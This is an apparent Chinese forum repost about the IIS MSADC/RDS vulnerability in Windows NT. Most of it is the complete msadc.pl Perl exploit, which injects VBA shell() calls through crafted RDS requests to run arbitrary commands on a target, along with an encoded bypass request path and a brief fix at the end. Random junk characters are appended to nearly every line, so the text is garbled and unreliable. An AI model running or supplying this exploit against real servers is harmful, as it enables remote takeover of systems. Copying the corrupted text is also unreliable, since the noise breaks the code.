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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) /=@e &e  
hJLT!33:  
涉及程序: 7gr^z)${J  
Microsoft NT server UBIIo'u  
8jNOEM(0Y+  
描述: )(]Envb?A0  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 `,P >mp)uU  
N8QH*FX/F1  
详细: x9D/s`!  
如果你没有时间读详细内容的话,就删除: d#8e~  
c:\Program Files\Common Files\System\Msadc\msadcs.dll jqtVpNwM  
有关的安全问题就没有了。 _JA:.V^3gm  
lC4PKm no  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 bJ6p,]g  
YD9!=a$  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 X.eB ;w/}  
关于利用ODBC远程漏洞的描述,请参看: e5 3,Rqi)@  
O J>iq@ >  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WN\PX!K9  
a%*_2#  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 -K^41W71  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp tgB=vIw?3  
1]Lh'.1^  
这里不再论述。 P7UJ-2%Y+  
x0ne8NDP  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Why"G1`  
f"P$f8$  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset &`@lB (m  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! U=DEV7E  
LQ>$ >A(  
6n,xH!7  
#将下面这段保存为txt文件,然后: "perl -x 文件名" t\%%d)d9  
* :S~C  
#!perl ,cD1{T\  
# L;lk.~V4T  
# MSADC/RDS 'usage' (aka exploit) script m9!DOL1pl  
# A_F0\ EN*  
# by rain.forest.puppy x_W3sS]ej  
# N<n8'XDdG  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me bw5T2wYZ  
# beta test and find errors! |]tZ hI"3<  
XWXr0>!,?  
use Socket; use Getopt::Std; I=odMw7Hj  
getopts("e:vd:h:XR", \%args); $L\@da?  
AqqHD=Yp  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; KSsWjF}d  
w5(yCyNp~  
if (!defined $args{h} && !defined $args{R}) { ]5)"gL%H`  
print qq~ .<.#aY;N  
Usage: msadc.pl -h <host> { -d <delay> -X -v } cmIT$?J  
-h <host> = host you want to scan (ip or domain) Bq{ ]Eh0%  
-d <seconds> = delay between calls, default 1 second [4\aYB9N  
-X = dump Index Server path table, if available u>}zm_  
-v = verbose ,Z5Fea  
-e = external dictionary file for step 5 cd&B?\I  
yzg9I  
Or a -R will resume a command session y!hi"!  
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~; exit;} ~#4~_d.=L  
{G%3*=?,j  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; hIo0S8MOj$  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ib; yu_  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0 Az/fzJlz  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ^Et ,TF\  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 8W$L:{ez  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Xb0!( (A  
8t=3  
if (!defined $args{R}){ $ret = &has_msadc; C5;wf3  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} bQj`g2eyM  
hLo>R'@uN  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" T]uKH29.%  
. "cmd /c "; qy&\Xgn;GA  
$in=<STDIN>; chomp $in; J'Gm7h{   
$command="cmd /c " . $in ; P9s_2KOF  
'e85s%ru  
if (defined $args{R}) {&load; exit;} q<EEb  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; rei5{PC  
&try_btcustmr; \OA L Or  
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print "\nStep 2: Trying to make our own DSN..."; FR["e1<0  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; dE GX3 -  
3fl7~Lw,  
print "\nStep 3: Trying known DSNs..."; xl9(ze  
&known_dsn; l1DI*0@  
J?,?fqb  
print "\nStep 4: Trying known .mdbs..."; k:mlt:  
&known_mdb; ]LVnt-q  
5QOZ%9E&M  
if (defined $args{e}){ ]!J<,f7W  
print "\nStep 5: Trying dictionary of DSN names..."; ki3 HcV  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,ex]$fQ'  
1J&#&\,f&  
print "Sorry Charley...maybe next time?\n"; BCBUb  
exit; #fN/LO  
/3F<=zikO  
############################################################################## z'*ml ?  
3A d*,>!  
sub sendraw { # ripped and modded from whisker D$$3fN.iEL  
sleep($delay); # it's a DoS on the server! At least on mine... PLdf_/]-   
my ($pstr)=@_; =1IEpxh%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?yf_Dt  
die("Socket problems\n"); B>@D,)/bT5  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9 ?(x>P  
select(S); $|=1; |eF.ZC)QWh  
print $pstr; my @in=<S>; ,H@TYw  
select(STDOUT); close(S); PU"S;4m  
return @in; K.%z;( U  
} else { die("Can't connect...\n"); }} eVrNYa1>H  
(rIXbekgB  
############################################################################## JSRg?p\  
80HEAv,O  
sub make_header { # make the HTTP request V_lGj  
my $msadc=<<EOT cCk1'D|X[e  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 pagC(F  
User-Agent: ACTIVEDATA [WYJrk.  
Host: $ip F  "!`X#  
Content-Length: $clen RPY 6Wh| 4  
Connection: Keep-Alive Bd8hJA  
nSS}%&a:LX  
ADCClientVersion:01.06 GRy4cb2  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 0f{IE@-b  
C[g&F 0 6  
--!ADM!ROX!YOUR!WORLD! X~%IM1+L;  
Content-Type: application/x-varg w0aHEvH/  
Content-Length: $reqlen ],AbcTX  
'z~KTDX  
EOT HwM /}-t  
; $msadc=~s/\n/\r\n/g; leR" j  
return $msadc;} ]a=l^Pc(xN  
PB@-U.Z  
############################################################################## .jCk#@+  
e_^KI  
sub make_req { # make the RDS request =@%MV(  
my ($switch, $p1, $p2)=@_; TD%WJ9K\  
my $req=""; my $t1, $t2, $query, $dsn; Fos1WH?\  
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if ($switch==1){ # this is the btcustmr.mdb query v >NTh  
$query="Select * from Customers where City=" . make_shell(); pRmEryR(U  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . r &=r/k2  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} WFXx70n  
Xz" JY  
elsif ($switch==2){ # this is general make table query 9'l.TcVm`,  
$query="create table AZZ (B int, C varchar(10))"; /%;/pi  
$dsn="$p1";} $sM]BE:  
XGL"gD   
elsif ($switch==3){ # this is general exploit table query y^ 3,X_0  
$query="select * from AZZ where C=" . make_shell(); R4yJ.f  
$dsn="$p1";} -^0KE/  
nMeSCX  
elsif ($switch==4){ # attempt to hork file info from index server I ;l`VtD  
$query="select path from scope()"; fq{I$syY  
$dsn="Provider=MSIDXS;";} 2AmR(vVa"  
Mg&HRE  
elsif ($switch==5){ # bad query }WoX9M; 1  
$query="select"; UX?X]ZYVR  
$dsn="$p1";} "1AjCHZ  
R+C+$?4NG  
$t1= make_unicode($query); %uF:)   
$t2= make_unicode($dsn); WGluZhRuT3  
$req = "\x02\x00\x03\x00"; N:5b1TdI,  
$req.= "\x08\x00" . pack ("S1", length($t1)); U24V55ZnI  
$req.= "\x00\x00" . $t1 ; V.+DP  
$req.= "\x08\x00" . pack ("S1", length($t2)); omr:C8T>  
$req.= "\x00\x00" . $t2 ; -B",&yTV  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 2zwuvgiZ  
return $req;} XNy:0C  
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############################################################################## +h9`I/R  
!P+~ c0DF  
sub make_shell { # this makes the shell() statement O'Vh{JHf  
return "'|shell(\"$command\")|'";} ?NQD#  
6CCZda@  
############################################################################## @ $ 9m>6V  
*'s&/vEy  
sub make_unicode { # quick little function to convert to unicode nsy !p5o  
my ($in)=@_; my $out; ^o,y5 ,  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } m21QN9(i%  
return $out;} Gt?!E6^ !  
f45x%tha%  
############################################################################## uV/)Gb*j  
}6F_2S3c  
sub rdo_success { # checks for RDO return success (this is kludge) X*(gT1"t  
my (@in) = @_; my $base=content_start(@in); `>$g y/N  
if($in[$base]=~/multipart\/mixed/){ xtG)^x!  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $eTv6B?m  
return 0;} h4B+0  
r@\,VD6J  
############################################################################## g4?Q.'dZr  
DX7Ou%P,mg  
sub make_dsn { # this makes a DSN for us 8s\8`2=  
my @drives=("c","d","e","f"); K#%O3RRs  
print "\nMaking DSN: "; qFB9,cUqh  
foreach $drive (@drives) { 8uD8or  
print "$drive: "; RRK^~JQI.2  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ytuWT,u  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" i G?w;  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); q_OY sg  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; })h'""i&xn  
return 0 if $2 eq "404"; # not found/doesn't exist `<. 7?  
if($2 eq "200") { |E>v~qD8I  
foreach $line (@results) { e-YGuWGN7  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} P TfN+  
} return 0;} e<&_tx   
eG a#$x?.  
############################################################################## Z_ iQU1  
7R% PVgS4x  
sub verify_exists { rcD.P?"  
my ($page)=@_; eA;j/&qH  
my @results=sendraw("GET $page HTTP/1.0\n\n"); T9&,v<f  
return $results[0];} zzDNWPzsA  
e)fJd*P  
############################################################################## HPv&vdr3  
%`t]FV^#  
sub try_btcustmr { 9u-M! $  
my @drives=("c","d","e","f"); i!/h3%=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .2 N_?  
7=9A_4G!  
foreach $dir (@dirs) { QH~8 aE_i  
print "$dir -> "; # fun status so you can see progress eWqVh[  
foreach $drive (@drives) { BVwRPt  
print "$drive: "; # ditto RBMMXJj  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; N?Z+zN&P  
$reqlenlen=length( "$reqlen" ); U~JG1#z6  
$clen= 206 + $reqlenlen + $reqlen; %FXIlH5  
2 `q^Q  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 4okHAv8;  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Lrm tPnL  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} fS8XuT  
_ d(Ks9  
############################################################################## 9OO0Ht4j  
i75?*ld  
sub odbc_error { ,Jw\3T1V  
my (@in)=@_; my $base; .~V".tZV[  
my $base = content_start(@in); Z`0r]V`Ys  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 3\+[38 _  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S]#=ES'^/  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;'Z,[a  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q9Xm b2LN  
return $in[$base+4].$in[$base+5].$in[$base+6];}  P %U9S  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 6w:g77SH)%  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 4q@9  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Z IGbwL  
pU'`9f Li_  
############################################################################## Zip K;!9by  
wUZ(Tin  
sub verbose { &j wnM  
my ($in)=@_;  \!' {-J  
return if !$verbose; ~]i]kU   
print STDOUT "\n$in\n";} P"h,[{Y*>  
3>:zo:;  
############################################################################## }SJLBy0  
sbq44L)  
sub save { H8=vQy  
my ($p1, $p2, $p3, $p4)=@_; !pF KC)  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4IGQ,RTB  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; |n-a\  
close OUT;} 7!` C TE  
8gu7f;H/k  
############################################################################## #7cf 8y  
M7cI$=G  
sub load { J T0,Z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; !@]h@MC$7  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); K_w0+oY a  
@p=<IN>; close(IN); h\: tUEg#J  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); /hA}9+/  
$target= inet_aton($ip) || die("inet_aton problems"); rwV u?W  
print "Resuming to $ip ..."; D=pI'5&  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; SjNwT[.nr7  
if($p[1]==1) { G+ \~rl  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; [ XY:MU e  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 6m;wO r  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); m%[2x#  
if (rdo_success(@results)){print "Success!\n";} DlQ[}5STF  
else { print "failed\n"; verbose(odbc_error(@results));}} <}x|@u  
elsif ($p[1]==3){ MIMPJXT#.  
if(run_query("$p[3]")){ )MX1776kU  
print "Success!\n";} else { print "failed\n"; }} ?-6x]l=]  
elsif ($p[1]==4){ O}\"$n>  
if(run_query($drvst . "$p[3]")){ jW+VUF-t  
print "Success!\n"; } else { print "failed\n"; }} }1^ tK(Am  
exit;} ?6l,   
VHXR)}  
############################################################################## $4ZDT]n  
#\!hBL @b  
sub create_table { "l2N_xX;  
my ($in)=@_; [7 Kj$PB3  
$reqlen=length( make_req(2,$in,"") ) - 28; gWU(uBS  
$reqlenlen=length( "$reqlen" ); 5GWM )vrZg  
$clen= 206 + $reqlenlen + $reqlen; F" #3s=  
my @results=sendraw(make_header() . make_req(2,$in,"")); SUFaHHk@/b  
return 1 if rdo_success(@results); L^ jC& dF  
my $temp= odbc_error(@results); verbose($temp); YQ[&h  
return 1 if $temp=~/Table 'AZZ' already exists/; 9Av- ;!]  
return 0;} ~?8 x0  
4 *2>R8SX~  
############################################################################## TQxc?o  
Sr#fyr  
sub known_dsn { iJp!ROI  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Uc%`? +Q  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", }?ac<> u&  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", =*)O80oaW  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); P A+e= %  
n*8RYm)?  
foreach $dSn (@dsns) { Dm`U|<o  
print "."; 0_xcrM  
next if (!is_access("DSN=$dSn")); bU +eJU_%  
if(create_table("DSN=$dSn")){ J;]@?(  
print "$dSn successful\n"; (k HQKQmq  
if(run_query("DSN=$dSn")){ YI(OrR;V  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :Tl6:=B  
print "Something's borked. Use verbose next time\n";}}} print "\n";}  sCf(h  
}JTgj  
############################################################################## .^+$w $  
r3bvuq,6$  
sub is_access { J$ih|nP  
my ($in)=@_; +`vZg^_c`  
$reqlen=length( make_req(5,$in,"") ) - 28; 0Ukl#6  
$reqlenlen=length( "$reqlen" ); (j8,n<o  
$clen= 206 + $reqlenlen + $reqlen; Q9'p3"yoE  
my @results=sendraw(make_header() . make_req(5,$in,"")); $4~}_phi  
my $temp= odbc_error(@results); a_fW {;}[  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); `\FjO"  
return 0;} o5G"J"vxe  
8LM1oal}  
############################################################################## C5n=2luI_  
Oj|p`Dzh  
sub run_query { lL+^n~g  
my ($in)=@_; CzsY=DBH=  
$reqlen=length( make_req(3,$in,"") ) - 28; 36Y[7 m=  
$reqlenlen=length( "$reqlen" ); I z=w2\r  
$clen= 206 + $reqlenlen + $reqlen; B+H9c~3$  
my @results=sendraw(make_header() . make_req(3,$in,"")); rls#g w  
return 1 if rdo_success(@results); \rnG 1o  
my $temp= odbc_error(@results); verbose($temp); T|iF/p]F  
return 0;} -v+^x`HR  
`j"G=%e3.  
############################################################################## 59J$SE  
G78j$ ^/0  
sub known_mdb { %_=R&m'n`  
my @drives=("c","d","e","f","g"); fvfVBk#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); o 0 #]EMr  
my $dir, $drive, $mdb; .Qw@H#dtW  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; -$|X\#R  
N'BctKL  
# this is sparse, because I don't know of many T-8nUo}i  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Y/I6.K3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ^3s&90  
"\\system32\\certmdb.mdb", `Q^Sm`R  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% B]}V$*$ \?  
M4PUJZ]  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", KcF+!;:  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Q3{&'|}^2  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", e(% Solkm?  
"\\cfusion\\cfapps\\security\\realm_.mdb", /{)cI^9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", o-Fle, qf  
"\\cfusion\\database\\cfexamples.mdb", xi^e =:;`  
"\\cfusion\\database\\cfsnippets.mdb", 6zZR:ej  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", +\$|L+@Z  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,ST.pu8N.  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /<(ik&%N  
"\\cfusion\\database\\smpolicy.mdb", U jzz`!mz  
"\\cfusion\\database\cypress.mdb", ]BBgU[O) !  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", /%w[q:..h  
"\\website\\cgi-win\\dbsample.mdb", +( (31l  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Yf`.Cq_:  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" D ;I;,Z  
); #these are just __%E!*m"<_  
foreach $drive (@drives) { O}!@28|3"  
foreach $dir (@dirs){ O9&:(2'f  
foreach $mdb (@sysmdbs) { Z_WTMs:x!  
print "."; G")EE#W$}  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ y%l#lz=6  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ?bDae%>.d,  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ (uc)^lfX  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; F@K;A%us)  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ;@s~t:u  
8J U~Q  
foreach $drive (@drives) { ?t P/VL  
foreach $mdb (@mdbs) { ''07Km@x  
print "."; -{SiK  
if(create_table($drv . $drive . $dir . $mdb)){ ~,-O  
print "\n" . $drive . $dir . $mdb . " successful\n"; ^#nWgo7{7  
if(run_query($drv . $drive . $dir . $mdb)){ )#Bfd(F  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; }@6 %yR  
} else { print "Something's borked. Use verbose next time\n"; }}}} LbknSy C  
} JLn<,Gn)<\  
%"fKZ  
############################################################################## *9 wHH-#  
U  {!{5l:  
sub hork_idx { ^}\R]})w"  
print "\nAttempting to dump Index Server tables...\n"; ]arskmB]  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; -RDs{c`y%N  
$reqlen=length( make_req(4,"","") ) - 28; @ &yj7-]  
$reqlenlen=length( "$reqlen" ); ebK wCZwK*  
$clen= 206 + $reqlenlen + $reqlen; agD.J)v\  
my @results=sendraw2(make_header() . make_req(4,"","")); SnU{ZGR>sP  
if (rdo_success(@results)){ A6.'1OD  
my $max=@results; my $c; my %d; vBnHG-5;P  
for($c=19; $c<$max; $c++){ 6u;(R0n  
$results[$c]=~s/\x00//g; 0Ch._~Q+20  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; n9-[z2n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `:O.g9  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 0lN8#k>H  
$d{"$1$2"}="";} Z"T(8>c;g  
foreach $c (keys %d){ print "$c\n"; } .LHe*JC  
} else {print "Index server doesn't seem to be installed.\n"; }} 7E)7sd  
a[l5k  
############################################################################## mj|9x1U)  
[ Ulo; #P  
sub dsn_dict { e1Hx"7ew_  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); K a|\gl;V  
while(<IN>){ !S{<Xc'wv  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; !2Iwur u  
next if (!is_access("DSN=$dSn")); XLxr~Yo  
if(create_table("DSN=$dSn")){ ^4NH.q{  
print "$dSn successful\n"; qNL~m'  
if(run_query("DSN=$dSn")){ j-|0&X1C  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { zSCPp6  
print "Something's borked. Use verbose next time\n";}}} "PtH F`mo  
print "\n"; close(IN);} *^_!W'T{j  
\M@8# k|  
############################################################################## Ka{Zoi]  
5Oq;V: 7  
sub sendraw2 { # ripped and modded from whisker Vrh],xK7  
sleep($delay); # it's a DoS on the server! At least on mine... [G/X  
my ($pstr)=@_; 3Gv i!h7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &X(-C9'j  
die("Socket problems\n"); zt0 zKXw  
if(connect(S,pack "SnA4x8",2,80,$target)){ DboqFh#]=h  
print "Connected. Getting data"; $@wkQ%  
open(OUT,">raw.out"); my @in; r%n[PK^(  
select(S); $|=1; print $pstr; TD7ONa-,  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} `I$A;OPK7  
close(OUT); select(STDOUT); close(S); return @in; =1capix 1r  
} else { die("Can't connect...\n"); }} T7'$A!c  
~!kbB4`WK  
############################################################################## !6C d.fpWL  
N/VIP0Kb  
sub content_start { # this will take in the server headers zY-m]7Yf  
my (@in)=@_; my $c; sA.yb,Fw  
for ($c=1;$c<500;$c++) { ` 454=3H  
if($in[$c] =~/^\x0d\x0a/){ JM%#L*;  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ")OLmkC  
else { return $c+1; }}} $ 1ZY Vw  
return -1;} # it should never get here actually rkl7p?  
UtrbkuT  
############################################################################## pnU g:R@  
{5JXg9um  
sub funky { C-Z,L#  
my (@in)=@_; my $error=odbc_error(@in); 5WYU&8+]{:  
if($error=~/ADO could not find the specified provider/){ DM95Il[/  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; uX[ "w|  
exit;} Ex3woT-  
if($error=~/A Handler is required/){ +n dyR  
print "\nServer has custom handler filters (they most likely are patched)\n"; Jhc S  
exit;} GZo4uwG@a  
if($error=~/specified Handler has denied Access/){ <~OyV5:6  
print "\nServer has custom handler filters (they most likely are patched)\n"; ND>}t#^$  
exit;}} _#:1Axx1  
0*^Fk=>ej  
############################################################################## (tvh9 o  
nabN.Ly  
sub has_msadc { lTXU  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); #UQ[8e  
my $base=content_start(@results); sh1()vT  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); e+[J9;g  
return 0;} ,R+u%bmn#  
($kwlj~c  
######################## JSU\Hh!  
Y$^\D' .k  
2OTpGl  
解决方案: Ipe;%as#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 85mQHZ8aR  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 D }\`5L<  
UL/>t}AG  
拿出来充数 哈哈
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